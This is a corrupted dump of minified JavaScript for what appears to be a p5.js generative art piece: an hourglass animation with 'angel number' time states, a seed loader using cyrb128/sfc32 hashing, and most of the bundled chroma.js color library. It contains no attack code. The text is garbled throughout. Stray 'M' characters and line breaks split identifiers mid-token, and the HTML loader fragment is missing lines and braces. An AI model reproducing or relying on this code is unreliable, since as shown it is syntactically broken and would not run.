evolvePeriod:r,color:e,hourglassSize:t,poly:h,patternOrder:n,angelNumber:o,blissLimit:l},console.log(traits)},getPatternOrder=()=>{let e=[],t=[1,2,3,4],i=getRandomItem([[1,.6],[2,.1],[3,.15],[4,.15]]);e.push(i),patternChosen=t.indexOf(i),x=t.splice(patternChosen,1);for(let s=0;s<3;s++)i=random(t),e.push(i),patternChosen=t.indexOf(i),x=t.splice(patternChosen,1);return e},setupSketch=()=>{frameRate(maxFps),frameCount=0,wCanvas=windowWidth,hCanvas=windowHeight,canvas=createCanvas(wCanvas,hCanvas),showMode=0,timeControM
ller=new TimeController(traits),hourglass=new Hourglass(traits,timeController);let e=getRandomInt(0,361),t=getRandomInt(30,101),i=getRandomInt(50,101);Color.setColorMode(traits.color),layerBackground=createGraphics(wCanvas,hCanvas),renBackground=new BackgroundRenderer(layerBackground,e,t,i,traits,timeController),layerHourglass=createGraphics(wCanvas,hCanvas),renHourglass=new HourglassRenderer(layerHourglass,traits,timeController);let s=renHourglass.getSandRects(wCanvas,hCanvas),a=renHourglass.getTopLine(),r=renHourM
glass.getBottomLine(),h=createVector(s[0][2],s[0][3]).mag();layerSandTop=createGraphics(h,h),layerSandBottom=createGraphics(h,h),renSandTop=new SandRenderer(layerSandTop,s[0][3],a,e,t,i,traits,timeController),renSandBottom=new SandRenderer(layerSandBottom,s[0][3],r,e,t,i,traits,timeController),imgSandTop=createGraphics(wCanvas,hCanvas),imgSandBottom=createGraphics(wCanvas,hCanvas),renPostProcessing=new PostProcessing(wCanvas,hCanvas,traits),GrainRenderer.setup(wCanvas,hCanvas),prevSpeed=1},draw=()=>{let e=0==showMoM
de||1==showMode,t=0==showMode||2==showMode,{time:i,state:s,speed:a,paused:r,isLive:h,realDelta:n}=timeController.step();hourglass.update(i),renSandTop.update(i),renSandBottom.update(i),renBackground.update(i);let o=4==s?1:0,{top:l,rotation:d,flipped:m,timeSinceRotation:p}=hourglass.getState();renHourglass.update(i,d);let g=renSandTop.getChroma(),c=renSandTop.getBaseHSL();if(background(255),renBackground.draw(layerBackground,i,s,c,e),image(layerBackground,0,0),t){let e=renHourglass.getSandRects();renHourglass.draw(lM
ayerHourglass,o,g),renSandTop.draw(layerSandTop,renHourglass.getTopLine(),1-l,!m,p),renSandBottom.draw(layerSandBottom,renHourglass.getBottomLine(),l,m,p),image(layerSandTop,...e[0],(layerSandTop.width-e[0][2])/2,0,e[0][2],e[0][3]),image(layerSandBottom,...e[1],(layerSandBottom.width-e[1][2])/2,0,e[1][2],e[1][3]),image(layerHourglass,0,0)}let u=renHourglass.getSecondTicked();GrainRenderer.applyGrainToMainCanvas(u),renPostProcessing.updateFilter(a,r,h),prevSpeed=a,renPostProcessing.applyToMainCanvas(),currentTime=i}M
,keyPressed=()=>{"+"!=key&&"="!=key||timeController.setFasterSpeed(),"-"==key&&timeController.setSlowerSpeed(),keyCode==LEFT_ARROW&&timeController.jumpBackward(),keyCode==RIGHT_ARROW&&timeController.jumpForward(),keyCode==ESCAPE&&timeController.resumeLive()," "==key&&timeController.togglePause(),"T"!=key&&"t"!=key||(showMode=(showMode+1)%3),"S"!=key&&"s"!=key||saveCanvasAtCurrentTime()},saveCanvasAtCurrentTime=()=>{let e=60*new Date(currentTime).getTimezoneOffset()*1e3,t=new Date(currentTime-e).toISOString().slice(M
0,-1);save(t+".png")};const EvolvePeriod={HOURLY:"HOURLY",DAILY:"DAILY",MONTHLY:"MONTHLY"},AngelNumber=[["11/111/1111",["1:1","1:11","11:1","11:11"],["1/1","11/1","1/11","11/11"]],["22/222/2222",["2:2","2:22","22:2","22:22"],["2/2","22/2"]],["33/333/3333",["3:3","3:33"],["3/3"]],["44/444/4444",["4:4","4:44"],["4/4"]],["55/555/555",["5:5","5:55"],["5/5"]],["66/666/6666",["6:6"],["6/6"]],["77/777/7777",["7:7"],["7/7"]],["88/888/8888",["8:8"],["8/8"]],["99/999/9999",["9:9"],["9/9"]],["1212",["12:12"],["12/12"]],["399/M
339",["3:39"],["3/3","9/3","3/9","9/9"]],["83/8833",["8:3"],["8/3","3/8"]],["72/7722",["7:2"],["7/2","2/7"]],["633/6363",["6:3","6:33"],["6/3","3/6"]],["588",["5:8","8:58"],["8/5","5/8","8/8"]],["446/4646",["4:6","4:46"],["4/4","6/4","4/6"]],["000",[],[]],["1010",["10:10"],["10/10"]],["1017",["10:17","17:10"],["17/10"]],["1022",["10:22","22:10"],["22/10"]],["1313",["13:13"],["1/3","3/1"]],["1444",["14:44"],["4/1","1/4","4/4"]],["2020",["20:20"],["2/2"]]],BlissLimit=[["Forever",-1,3],["2",2,40],["5",5,30],["10",10,2M
0],["20",20,7]];class TimeController{constructor(e){this.speeds=[-3600,-60,-10,-3,1,3,10,60,3600],this.defaultSpeedLevel=4,this.evolvePeriod=e.evolvePeriod,this.angelNumber=e.angelNumber,this.blissLimit=e.blissLimit,this.timestamp=Date.now(),this.prevRealTimestamp=this.timestamp,this.paused=!1,this.speedLevel=this.defaultSpeedLevel;let t=new Date(this.timestamp);this.iteration=this.getIteration(t),this.prevBliss=this.getPrevBliss(t,1),this.iterationChangeHandlers=[]}getCurrentIteration=()=>this.iteration;getIteratiM
on(e){let t,i=e.getTime()-60*e.getTimezoneOffset()*1e3;return this.evolvePeriod==EvolvePeriod.HOURLY?t=floor(i/36e5):this.evolvePeriod==EvolvePeriod.DAILY?t=floor(i/864e5):this.evolvePeriod==EvolvePeriod.MONTHLY&&(t=12*(e.getFullYear()-1970)+e.getMonth()),t}registerIterationChangeEvent(e){this.iterationChangeHandlers.push(e)}unregisterIterationChangeEvent(e){this.iterationChangeHandlers=this.iterationChangeHandlers.filter((t=>t!=e))}step(){let e=Date.now(),t=e-this.prevRealTimestamp,i=this.speeds[this.speedLevel],sM
=this.paused?0:i;this.timestamp+=t*s,this.timestamp=this.limitTimestamp(this.timestamp);let a=new Date(this.timestamp),r=this.getStateFromTime(a);this.updateIteration(a),this.prevRealTimestamp=e;let h=this.timestamp==e;return{time:a,state:r,speed:i,paused:this.paused,isLive:h,realDelta:t}}updateIteration(e){let t=this.getIteration(e);t!=this.iteration&&(this.iterationChangeHandlers.forEach((e=>e(t))),this.iteration=t)}getStateFromTime(e){let t,i,s=e.getHours(),a=e.getMinutes(),r=e.getDate(),h=e.getMonth()+1;if("000M
"==this.angelNumber)i=0==s&&0==a,t=i&&1==r&&1==h;else{let e=`${s}:${a}`,n=`${h}/${r}`,o=AngelNumber.filter((e=>e[0]==this.angelNumber))[0];i=o[1].includes(e),t=o[2].includes(n)}return i&&t?4:t?3:i?2:1}limitTimestamp(e){let t=BlissLimit.filter((e=>e[0]==this.blissLimit))[0][1],i=Date.now(),s=this.getPrevBliss(new Date,t);return e>i?(e=i,this.resetSpeed()):e<s&&(e=s,this.resetSpeed()),e}getPrevBliss(e,t){if(-1==t)return 0;let i=e.getTime()-e.getMilliseconds()-1e3*e.getSeconds();for(;t>0;){i-=6e4;let e=this.getStateFrM
omTime(new Date(i));2!=e&&4!=e||(t-=1)}return i}getNextBliss(e,t){if(-1==t)return Date.now();let i=e.getTime()-e.getMilliseconds()-1e3*e.getSeconds();for(;t>0;){i+=6e4;let e=this.getStateFromTime(new Date(i));2!=e&&4!=e||(t-=1)}return i}togglePause(){this.paused=!this.paused}setFasterSpeed(){this.speedLevel=min(this.speedLevel+1,this.speeds.length-1),this.paused=!1}setSlowerSpeed(){this.speedLevel=max(this.speedLevel-1,0),this.paused=!1}jumpForward(){let e=new Date(this.timestamp);this.timestamp=this.getNextBliss(eM
,1),this.timestamp=this.limitTimestamp(this.timestamp),this.resetSpeed()}jumpBackward(){let e=new Date(this.timestamp);this.timestamp=this.getPrevBliss(e,1),this.timestamp=this.limitTimestamp(this.timestamp),this.resetSpeed()}resetSpeed(){this.speedLevel=this.defaultSpeedLevel,this.paused=!1}resumeLive(){this.timestamp=Date.now(),this.resetSpeed()}}
text/html;charset=utf-8
      display: block;
    <meta charset="utf-8" />
    let seed=window.location.href.split('/').find(t=>t.includes('i0'));
    if (seed == null) {
      seed = new URLSearchParams(window.location.search).get("seed");
      let pattern = "seed=";
      for(let i = 0; i < seed.length - pattern.length; M
        if (seed.substring(i, i + pattern.length) == pattern) {
          seed = seed.substring(i + pattern.length);
    function cyrb128($) {
      let _ = 1779033703, u = 3144134277, i = 1013904242, l = 2773480762;
      for (let n = 0, r; n < $.length; n++) _ = u ^ Math.imul(_ ^ (r = $.charCodeAt(n)), 597399067), u = i ^ Math.imul(u ^ r, 2869860233), i = l ^ Math.imul(i ^ r, 951274213), l = _ ^ Math.imul(l ^ r, 2716044179);
      return _ = Math.imul(i ^ _ >>> 18,M
 597399067), u = Math.imul(l ^ u >>> 22, 2869860233), i = Math.imul(_ ^ i >>> 17, 951274213), l = Math.imul(u ^ l >>> 19, 2716044179), [(_ ^ u ^ i ^ l) >>> 0, (u ^ _) >>> 0, (i ^ _) >>> 0, (l ^ _) >>> 0]
    function sfc32($, _, u, i) {
      return function () {
        u >>>= 0, i >>>= 0;
        var l = ($ >>>= 0) + (_ >>>= 0) | 0;
        return $ = _ ^ _ >>> 9, _ = u + (u << 3) | 0, u = (u = u << 21 | u >>> 11) + (l = l + (i = i + 1 | 0) | 0) | 0, (l >>> 0) / 4294967296
 sfc32(...cyrb128(seed));
    let p5seed = Math.floor(mathRand() * Number.MAX_SAFE_INTEGER);
!function(r,e){"object"==typeof exports&&"undefined"!=typeof module?module.exports=e():"function"==typeof define&&define.amd?define(e):(r="undefined"!=typeof globalThis?globalThis:r||self).chroma=e()}(this,function(){"use strict";for(var r=function(r,e,t){return void 0===e&&(e=0),void 0===t&&(t=1),r<e?e:r>t?t:r},e=r,t={},n=0,a=["Boolean","Number","String","Function","Array","Date","RegExp","Undefined","Null"];n<a.length;nM
+=1){var f=a[n];t["[object "+f+"]"]=f.toLowerCase()}var o=function(r){return t[Object.prototype.toString.call(r)]||"object"},c=o,u=o,i=Math.PI,l={clip_rgb:function(r){r._clipped=!1,r._unclipped=r.slice(0);for(var t=0;t<=3;t++)t<3?((r[t]<0||r[t]>255)&&(r._clipped=!0),r[t]=e(r[t],0,255)):3===t&&(r[t]=e(r[t],0,1));return r},limit:r,type:o,unpack:function(r,e){return void 0===e&&(e=null),r.length>=3?Array.prototype.slice.call(r):"object"==c(r[0])&&e?e.split("").filter(function(e){return void 0!==r[0][e]}).map(function(M
e){return r[0][e]}):r[0]},last:function(r){if(r.length<2)return null;var e=r.length-1;return"string"==u(r[e])?r[e].toLowerCase():null},PI:i,TWOPI:2*i,PITHIRD:i/3,DEG2RAD:i/180,RAD2DEG:180/i},d={format:{},autodetect:[]},h=l.last,b=l.clip_rgb,s=l.type,p=d,g=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if("object"===s(r[0])&&r[0].constructor&&r[0].constructor===this.constructor)return r[0];var t=h(r),n=!1;if(!t){n=!0,p.sorted||(p.autodetect=p.autodetect.sort(function(r,e){return e.p-r.p}),p.sortedM
=!0);for(var a=0,f=p.autodetect;a<f.length;a+=1){var o=f[a];if(t=o.test.apply(o,r))break}}if(!p.format[t])throw new Error("unknown format: "+r);var c=p.format[t].apply(null,n?r:r.slice(0,-1));this._rgb=b(c),3===this._rgb.length&&this._rgb.push(1)};g.prototype.toString=function(){return"function"==s(this.hex)?this.hex():"["+this._rgb.join(",")+"]"};var v=g,y=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(y.Color,[null].concat(r)))};y.Color=v,y.version="2.4.M
2";var m=y,k=l.unpack,w=Math.max,M=l.unpack,_=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=(r=M(r,"cmyk"))[0],n=r[1],a=r[2],f=r[3],o=r.length>4?r[4]:1;return 1===f?[0,0,0,o]:[t>=1?0:255*(1-t)*(1-f),n>=1?0:255*(1-n)*(1-f),a>=1?0:255*(1-a)*(1-f),o]},N=m,F=v,x=d,P=l.unpack,R=l.type,G=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=k(r,"rgb"),n=t[0],a=t[1],f=t[2],o=1-w(n/=255,w(a/=255,f/=255)),c=o<1?1/(1-o):0;return[(1-n-o)*c,(1-a-o)*c,(1-f-o)*c,o]};F.prototype.cmyk=fuM
nction(){return G(this._rgb)},N.cmyk=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(F,[null].concat(r,["cmyk"])))},x.format.cmyk=_,x.autodetect.push({p:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=P(r,"cmyk"),"array"===R(r)&&4===r.length)return"cmyk"}});var j=l.unpack,E=l.last,O=function(r){return Math.round(100*r)/100},q=l.unpack,B=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=(r=q(r,"rgba"))[0],nM
=r[1],a=r[2];t/=255,n/=255,a/=255;var f,o,c=Math.min(t,n,a),u=Math.max(t,n,a),i=(u+c)/2;return u===c?(f=0,o=Number.NaN):f=i<.5?(u-c)/(u+c):(u-c)/(2-u-c),t==u?o=(n-a)/(u-c):n==u?o=2+(a-t)/(u-c):a==u&&(o=4+(t-n)/(u-c)),(o*=60)<0&&(o+=360),r.length>3&&void 0!==r[3]?[o,f,i,r[3]]:[o,f,i]},I=l.unpack,A=l.last,D=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=j(r,"hsla"),n=E(r)||"lsa";return t[0]=O(t[0]||0),t[1]=O(100*t[1])+"%",t[2]=O(100*t[2])+"%","hsla"===n||t.length>3&&t[3]<1?(t[3]=t.length>3?t[M
3]:1,n="hsla"):t.length=3,n+"("+t.join(",")+")"},C=B,Y=Math.round,S=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=I(r,"rgba"),n=A(r)||"rgb";return"hsl"==n.substr(0,3)?D(C(t),n):(t[0]=Y(t[0]),t[1]=Y(t[1]),t[2]=Y(t[2]),("rgba"===n||t.length>3&&t[3]<1)&&(t[3]=t.length>3?t[3]:1,n="rgba"),n+"("+t.slice(0,"rgb"===n?3:4).join(",")+")")},L=l.unpack,$=Math.round,T=function(){for(var r,e=[],t=arguments.length;t--;)e[t]=arguments[t];var n,a,f,o=(e=L(e,"hsl"))[0],c=e[1],u=e[2];if(0===c)n=a=f=255*u;elsM
e{var i=[0,0,0],l=[0,0,0],d=u<.5?u*(1+c):u+c-u*c,h=2*u-d,b=o/360;i[0]=b+1/3,i[1]=b,i[2]=b-1/3;for(var s=0;s<3;s++)i[s]<0&&(i[s]+=1),i[s]>1&&(i[s]-=1),6*i[s]<1?l[s]=h+6*(d-h)*i[s]:2*i[s]<1?l[s]=d:3*i[s]<2?l[s]=h+(d-h)*(2/3-i[s])*6:l[s]=h;n=(r=[$(255*l[0]),$(255*l[1]),$(255*l[2])])[0],a=r[1],f=r[2]}return e.length>3?[n,a,f,e[3]]:[n,a,f,1]},K=T,W=d,X=/^rgb\(\s*(-?\d+),\s*(-?\d+)\s*,\s*(-?\d+)\s*\)$/,Z=/^rgba\(\s*(-?\d+),\s*(-?\d+)\s*,\s*(-?\d+)\s*,\s*([01]|[01]?\.\d+)\)$/,H=/^rgb\(\s*(-?\d+(?:\.\d+)?)%,\s*(-?\d+(?:\.\M
d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*\)$/,z=/^rgba\(\s*(-?\d+(?:\.\d+)?)%,\s*(-?\d+(?:\.\d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*,\s*([01]|[01]?\.\d+)\)$/,U=/^hsl\(\s*(-?\d+(?:\.\d+)?),\s*(-?\d+(?:\.\d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*\)$/,V=/^hsla\(\s*(-?\d+(?:\.\d+)?),\s*(-?\d+(?:\.\d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*,\s*([01]|[01]?\.\d+)\)$/,J=Math.round,Q=function(r){var e;if(r=r.toLowerCase().trim(),W.format.named)try{return W.format.named(r)}catch(r){}if(e=r.match(X)){for(var t=e.slice(1,4),n=0;n<3;n++)t[n]=+t[n];returnM
 t[3]=1,t}if(e=r.match(Z)){for(var a=e.slice(1,5),f=0;f<4;f++)a[f]=+a[f];return a}if(e=r.match(H)){for(var o=e.slice(1,4),c=0;c<3;c++)o[c]=J(2.55*o[c]);return o[3]=1,o}if(e=r.match(z)){for(var u=e.slice(1,5),i=0;i<3;i++)u[i]=J(2.55*u[i]);return u[3]=+u[3],u}if(e=r.match(U)){var l=e.slice(1,4);l[1]*=.01,l[2]*=.01;var d=K(l);return d[3]=1,d}if(e=r.match(V)){var h=e.slice(1,4);h[1]*=.01,h[2]*=.01;var b=K(h);return b[3]=+e[4],b}};Q.test=function(r){return X.test(r)||Z.test(r)||H.test(r)||z.test(r)||U.test(r)||V.test(r)M
};var rr=m,er=v,tr=d,nr=l.type,ar=S,fr=Q;er.prototype.css=function(r){return ar(this._rgb,r)},rr.css=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(er,[null].concat(r,["css"])))},tr.format.css=fr,tr.autodetect.push({p:5,test:function(r){for(var e=[],t=arguments.length-1;t-- >0;)e[t]=arguments[t+1];if(!e.length&&"string"===nr(r)&&fr.test(r))return"css"}});var or=v,cr=m,ur=l.unpack;d.format.gl=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e]M
;var t=ur(r,"rgba");return t[0]*=255,t[1]*=255,t[2]*=255,t},cr.gl=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(or,[null].concat(r,["gl"])))},or.prototype.gl=function(){var r=this._rgb;return[r[0]/255,r[1]/255,r[2]/255,r[3]]};var ir=l.unpack,lr=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n=ir(r,"rgb"),a=n[0],f=n[1],o=n[2],c=Math.min(a,f,o),u=Math.max(a,f,o),i=u-c,l=100*i/255,d=c/(255-i)*100;return 0===i?t=Number.NaN:(a===u&&(t=M
(f-o)/i),f===u&&(t=2+(o-a)/i),o===u&&(t=4+(a-f)/i),(t*=60)<0&&(t+=360)),[t,l,d]},dr=l.unpack,hr=Math.floor,br=function(){for(var r,e,t,n,a,f,o=[],c=arguments.length;c--;)o[c]=arguments[c];var u,i,l,d=(o=dr(o,"hcg"))[0],h=o[1],b=o[2];b*=255;var s=255*h;if(0===h)u=i=l=b;else{360===d&&(d=0),d>360&&(d-=360),d<0&&(d+=360);var p=hr(d/=60),g=d-p,v=b*(1-h),y=v+s*(1-g),m=v+s*g,k=v+s;switch(p){case 0:u=(r=[k,m,v])[0],i=r[1],l=r[2];break;case 1:u=(e=[y,k,v])[0],i=e[1],l=e[2];break;case 2:u=(t=[v,k,m])[0],i=t[1],l=t[2];break;cM
ase 3:u=(n=[v,y,k])[0],i=n[1],l=n[2];break;case 4:u=(a=[m,v,k])[0],i=a[1],l=a[2];break;case 5:u=(f=[k,v,y])[0],i=f[1],l=f[2]}}return[u,i,l,o.length>3?o[3]:1]},sr=l.unpack,pr=l.type,gr=m,vr=v,yr=d,mr=lr;vr.prototype.hcg=function(){return mr(this._rgb)},gr.hcg=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(vr,[null].concat(r,["hcg"])))},yr.format.hcg=br,yr.autodetect.push({p:1,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=sr(r,"M
hcg"),"array"===pr(r)&&3===r.length)return"hcg"}});var kr=l.unpack,wr=l.last,Mr=Math.round,_r=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=kr(r,"rgba"),n=t[0],a=t[1],f=t[2],o=t[3],c=wr(r)||"auto";void 0===o&&(o=1),"auto"===c&&(c=o<1?"rgba":"rgb");var u="000000"+((n=Mr(n))<<16|(a=Mr(a))<<8|(f=Mr(f))).toString(16);u=u.substr(u.length-6);var i="0"+Mr(255*o).toString(16);switch(i=i.substr(i.length-2),c.toLowerCase()){case"rgba":return"#"+u+i;case"argb":return"#"+i+u;default:return"#"+u}},Nr=/M
^#?([A-Fa-f0-9]{6}|[A-Fa-f0-9]{3})$/,Fr=/^#?([A-Fa-f0-9]{8}|[A-Fa-f0-9]{4})$/,xr=function(r){if(r.match(Nr)){4!==r.length&&7!==r.length||(r=r.substr(1)),3===r.length&&(r=(r=r.split(""))[0]+r[0]+r[1]+r[1]+r[2]+r[2]);var e=parseInt(r,16);return[e>>16,e>>8&255,255&e,1]}if(r.match(Fr)){5!==r.length&&9!==r.length||(r=r.substr(1)),4===r.length&&(r=(r=r.split(""))[0]+r[0]+r[1]+r[1]+r[2]+r[2]+r[3]+r[3]);var t=parseInt(r,16);return[t>>24&255,t>>16&255,t>>8&255,Math.round((255&t)/255*100)/100]}throw new Error("unknown hex coM
lor: "+r)},Pr=m,Rr=v,Gr=l.type,jr=d,Er=_r;Rr.prototype.hex=function(r){return Er(this._rgb,r)},Pr.hex=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Rr,[null].concat(r,["hex"])))},jr.format.hex=xr,jr.autodetect.push({p:4,test:function(r){for(var e=[],t=arguments.length-1;t-- >0;)e[t]=arguments[t+1];if(!e.length&&"string"===Gr(r)&&[3,4,5,6,7,8,9].indexOf(r.length)>=0)return"hex"}});var Or=l.unpack,qr=l.TWOPI,Br=Math.min,Ir=Math.sqrt,Ar=Math.acos,Dr=functionM
(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n=Or(r,"rgb"),a=n[0],f=n[1],o=n[2],c=Br(a/=255,f/=255,o/=255),u=(a+f+o)/3,i=u>0?1-c/u:0;return 0===i?t=NaN:(t=(a-f+(a-o))/2,t/=Ir((a-f)*(a-f)+(a-o)*(f-o)),t=Ar(t),o>f&&(t=qr-t),t/=qr),[360*t,i,u]},Cr=l.unpack,Yr=l.limit,Sr=l.TWOPI,Lr=l.PITHIRD,$r=Math.cos,Tr=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n,a,f=(r=Cr(r,"hsi"))[0],o=r[1],c=r[2];return isNaN(f)&&(f=0),isNaN(o)&&(o=0),f>360&&(f-=360),f<0&&(f+=360),(f/=360)<1/3?n=1-M
((a=(1-o)/3)+(t=(1+o*$r(Sr*f)/$r(Lr-Sr*f))/3)):f<2/3?a=1-((t=(1-o)/3)+(n=(1+o*$r(Sr*(f-=1/3))/$r(Lr-Sr*f))/3)):t=1-((n=(1-o)/3)+(a=(1+o*$r(Sr*(f-=2/3))/$r(Lr-Sr*f))/3)),[255*(t=Yr(c*t*3)),255*(n=Yr(c*n*3)),255*(a=Yr(c*a*3)),r.length>3?r[3]:1]},Kr=l.unpack,Wr=l.type,Xr=m,Zr=v,Hr=d,zr=Dr;Zr.prototype.hsi=function(){return zr(this._rgb)},Xr.hsi=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Zr,[null].concat(r,["hsi"])))},Hr.format.hsi=Tr,Hr.autodetect.push({pM
:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=Kr(r,"hsi"),"array"===Wr(r)&&3===r.length)return"hsi"}});var Ur=l.unpack,Vr=l.type,Jr=m,Qr=v,re=d,ee=B;Qr.prototype.hsl=function(){return ee(this._rgb)},Jr.hsl=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Qr,[null].concat(r,["hsl"])))},re.format.hsl=T,re.autodetect.push({p:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=Ur(r,"hsl"),"array"===Vr(r)M
&&3===r.length)return"hsl"}});var te=l.unpack,ne=Math.min,ae=Math.max,fe=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n,a,f=(r=te(r,"rgb"))[0],o=r[1],c=r[2],u=ne(f,o,c),i=ae(f,o,c),l=i-u;return a=i/255,0===i?(t=Number.NaN,n=0):(n=l/i,f===i&&(t=(o-c)/l),o===i&&(t=2+(c-f)/l),c===i&&(t=4+(f-o)/l),(t*=60)<0&&(t+=360)),[t,n,a]},oe=l.unpack,ce=Math.floor,ue=function(){for(var r,e,t,n,a,f,o=[],c=arguments.length;c--;)o[c]=arguments[c];var u,i,l,d=(o=oe(o,"hsv"))[0],h=o[1],b=o[2];if(b*=255,0===h)M
u=i=l=b;else{360===d&&(d=0),d>360&&(d-=360),d<0&&(d+=360);var s=ce(d/=60),p=d-s,g=b*(1-h),v=b*(1-h*p),y=b*(1-h*(1-p));switch(s){case 0:u=(r=[b,y,g])[0],i=r[1],l=r[2];break;case 1:u=(e=[v,b,g])[0],i=e[1],l=e[2];break;case 2:u=(t=[g,b,y])[0],i=t[1],l=t[2];break;case 3:u=(n=[g,v,b])[0],i=n[1],l=n[2];break;case 4:u=(a=[y,g,b])[0],i=a[1],l=a[2];break;case 5:u=(f=[b,g,v])[0],i=f[1],l=f[2]}}return[u,i,l,o.length>3?o[3]:1]},ie=l.unpack,le=l.type,de=m,he=v,be=d,se=fe;he.prototype.hsv=function(){return se(this._rgb)},de.hsv=M
function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(he,[null].concat(r,["hsv"])))},be.format.hsv=ue,be.autodetect.push({p:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=ie(r,"hsv"),"array"===le(r)&&3===r.length)return"hsv"}});var pe={Kn:18,Xn:.95047,Yn:1,Zn:1.08883,t0:.137931034,t1:.206896552,t2:.12841855,t3:.008856452},ge=pe,ve=l.unpack,ye=Math.pow,me=function(r){return(r/=255)<=.04045?r/12.92:ye((r+.055)/1.055,2.4)},ke=function(M
r){return r>ge.t3?ye(r,1/3):r/ge.t2+ge.t0},we=function(r,e,t){return r=me(r),e=me(e),t=me(t),[ke((.4124564*r+.3575761*e+.1804375*t)/ge.Xn),ke((.2126729*r+.7151522*e+.072175*t)/ge.Yn),ke((.0193339*r+.119192*e+.9503041*t)/ge.Zn)]},Me=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=ve(r,"rgb"),n=t[0],a=t[1],f=t[2],o=we(n,a,f),c=o[0],u=o[1],i=116*u-16;return[i<0?0:i,500*(c-u),200*(u-o[2])]},_e=pe,Ne=l.unpack,Fe=Math.pow,xe=function(r){return 255*(r<=.00304?12.92*r:1.055*Fe(r,1/2.4)-.055)},Pe=funM
ction(r){return r>_e.t1?r*r*r:_e.t2*(r-_e.t0)},Re=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n,a,f=(r=Ne(r,"lab"))[0],o=r[1],c=r[2];return n=(f+16)/116,t=isNaN(o)?n:n+o/500,a=isNaN(c)?n:n-c/200,n=_e.Yn*Pe(n),t=_e.Xn*Pe(t),a=_e.Zn*Pe(a),[xe(3.2404542*t-1.5371385*n-.4985314*a),xe(-.969266*t+1.8760108*n+.041556*a),xe(.0556434*t-.2040259*n+1.0572252*a),r.length>3?r[3]:1]},Ge=l.unpack,je=l.type,Ee=m,Oe=v,qe=d,Be=Me;Oe.prototype.lab=function(){return Be(this._rgb)},Ee.lab=function(){for(var rM
=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Oe,[null].concat(r,["lab"])))},qe.format.lab=Re,qe.autodetect.push({p:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=Ge(r,"lab"),"array"===je(r)&&3===r.length)return"lab"}});var Ie=l.unpack,Ae=l.RAD2DEG,De=Math.sqrt,Ce=Math.atan2,Ye=Math.round,Se=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=Ie(r,"lab"),n=t[0],a=t[1],f=t[2],o=De(a*a+f*f),c=(Ce(f,a)*Ae+360)%360;return 0===YeM
(1e4*o)&&(c=Number.NaN),[n,o,c]},Le=l.unpack,$e=Me,Te=Se,Ke=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=Le(r,"rgb"),n=t[0],a=t[1],f=t[2],o=$e(n,a,f),c=o[0],u=o[1],i=o[2];return Te(c,u,i)},We=l.unpack,Xe=l.DEG2RAD,Ze=Math.sin,He=Math.cos,ze=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=We(r,"lch"),n=t[0],a=t[1],f=t[2];return isNaN(f)&&(f=0),[n,He(f*=Xe)*a,Ze(f)*a]},Ue=l.unpack,Ve=ze,Je=Re,Qe=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=M
(r=Ue(r,"lch"))[0],n=r[1],a=r[2],f=Ve(t,n,a),o=f[0],c=f[1],u=f[2],i=Je(o,c,u);return[i[0],i[1],i[2],r.length>3?r[3]:1]},rt=l.unpack,et=Qe,tt=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=rt(r,"hcl").reverse();return et.apply(void 0,t)},nt=l.unpack,at=l.type,ft=m,ot=v,ct=d,ut=Ke;ot.prototype.lch=function(){return ut(this._rgb)},ot.prototype.hcl=function(){return ut(this._rgb).reverse()},ft.lch=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.biM
